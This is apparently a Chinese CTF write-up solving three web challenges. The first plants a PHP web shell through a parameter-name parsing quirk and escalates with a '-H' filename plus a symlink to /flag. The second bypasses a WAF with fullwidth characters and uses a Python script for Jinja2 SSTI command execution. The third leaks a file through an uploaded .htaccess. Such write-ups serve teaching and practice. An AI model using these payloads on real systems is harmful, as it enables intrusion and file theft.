放开我的变量
题目信息:本人不太喜欢php8()

打开题目是一个博客

发现了/robots.txt

发现了/asdback.php路由

php非法参数名传参解析
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

发现了flag在根目录下但是没有权限查看
我们写马连一下蚁剑
_[0xGame2025phpPsAux=file_put_contents('1.php', '<?php @eval($_POST["cmd"]); ?>');



网站特色了也算是,要url编码一下
sudo没用我们看看ps -aux,发现start.sh有root权限,我们看看是啥玩意


#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s
done &
exec apache2-foreground
开启一个无限循环
将当前目录(即 primary)下的所有文件和文件夹复制到 /var/www/html/marstream/ 目录下
-P 参数表示:如果遇到软链接(快捷方式),则直接复制软链接本身,而不是去复制它所指向的目标文件
使用 -R(递归)参数,将 marstream 目录及其内部所有文件的权限设置为 755
让循环暂停 5 秒钟
结束 while 循环体
我们可以用-H参数来覆盖-P参数
比如
cp -H 会让 cp 命令在遇到符号链接时,按照符号链接指向的目标文件进行复制,而不是直接复制符号链接本身
我们如果有一个软连接指向/flag,用-H参数后,会直接把/flag复制过来,然后给755权限,然后我们就可以读取了。那怎么覆盖-P参数呢?
cp -P * /var/www/html/marstream/
注意这里的*,我们可以创建一个名为-H的文件,cp命令就会多-H这个参数
cd primary
echo "" > -H #或者 touch -- -H //--的作用是不解析后面的参数
ln -s /flag abc
cat /var/www/html/marstream/abc
这里有两种方法
touch -- -H //--的作用是不解析后面的参数
echo "">-H

GlyphWeaver
题目信息
一款名片生成器,可根据用户的输入生成充满个性的名片~


查看网页源代码


环境:Flask + Jinja2
漏洞:SSTI(服务端模板注入)
WAF:后端检测并拦截了 {{、os 等 ASCII 关键词

日志出现 normalize,暗示使用了 Unicode NFKC 标准化
Unicode NFKC 标准化
它的核心目标是:将那些"看起来一样、意思一样,但底层编码不同"的字符
统一转换为一种标准的、最常用的底层编码形式
在 Unicode 中,有些字符存在纯粹是为了向后兼容旧的字符编码系统(如 JIS、Shift-JIS、GBK 等)
或者为了特定的排版和视觉效果。这些被称为"兼容字符"
全角 / 半角: 将全角字符还原为半角。
全角 ABC (U+FF21 U+FF22 U+FF23) → 半角 ABC
全角 123 (U+FF11 U+FF12 U+FF13) → 半角 123
半角假名 ガ → 全角假名 ガ
带圈/带括号字符: 去掉装饰。
带圈数字 ① (U+2460) → 普通数字 1
带括号字母 ⒜ (U+249C) → 普通字母 a
连字(Ligatures): 拆开为了排版美观而连在一起的字符。
fi (U+FB01) → f + i
ff (U+FB00) → f + f
罗马数字: 拆解为一个或多个拉丁字母。
Ⅳ (U+2163) → I + V
下标/上标: 还原为普通数字或字母。
上标 ² (U+00B2) → 普通 2
下标 ₅ (U+2085) → 普通 5
将 Payload 中的 ASCII 字符转换为 全角字符(Fullwidth) 即可绕过 WAF 检查。
后端在渲染前会将全角字符还原为 ASCII 字符,从而触发 SSTI。
/api/preview 仅做参数替换,无法执行代码;需利用 /api/export 接口触发二次渲染或真实执行环境
让AI给我们搓一个脚本
import requests
import time
import re
base_url = "http://5000-ec27a862-482d-4e6d-9ebd-bc90788c963a.challenge.ctfplus.cn"
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}"
def to_fullwidth(s):
return "".join(chr(ord(c) + 0xFEE0) if 33 <= ord(c) <= 126 else chr(0x3000) if c == " " else c for c in s)
data = {
"template_id": "classic",
"display_name": "a",
"title": "b",
"motto": to_fullwidth(payload),
"footer": "c"
}
resp = requests.post(f"{base_url}/api/export", json=data).json()
task_id = resp["taskId"]
print(f"Task ID: {task_id}")
while True:
time.sleep(1)
res = requests.get(f"{base_url}/api/task/{task_id}").json()
if res.get("status") == "done":
flag = re.search(r'(UniCTF{.*?})', res["html"])
if flag:
print(flag.group(1))
else:
print(res["html"])
break

脚本将攻击语句转换成全角形式,通过 POST /api/export 将数据发往后端后端在处理数据时,调用了类似 unicodedata.normalize的函数 全角字符被还原成了标准的 ASCII 代码, 还原后的代码进入模板引擎执行
ezUpload
题目信息
我只是一直对生活挥拳的穷小子


现Web服务器为Apache 发现里面的字符过滤的太多了,< ? $等都使用不了

问了一下AI

发现可以传一个.htaccess 文件来读取文件
Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"
添加新的规则
Options +Indexes :算是提高下权限,让用户可以访问目录上传目录
DirectoryIndex /123.txt :设置默认索引,设置访问/upload时展示的默认文件
如果没有这个文件展示的是目录,/ 表示从根目录搜索,一般是没有的所以展示的是目录索引
Header set X-Flag "expr=%{file:/flag}" :设置响应头,显示根目录下flag文件内容
访问/upload
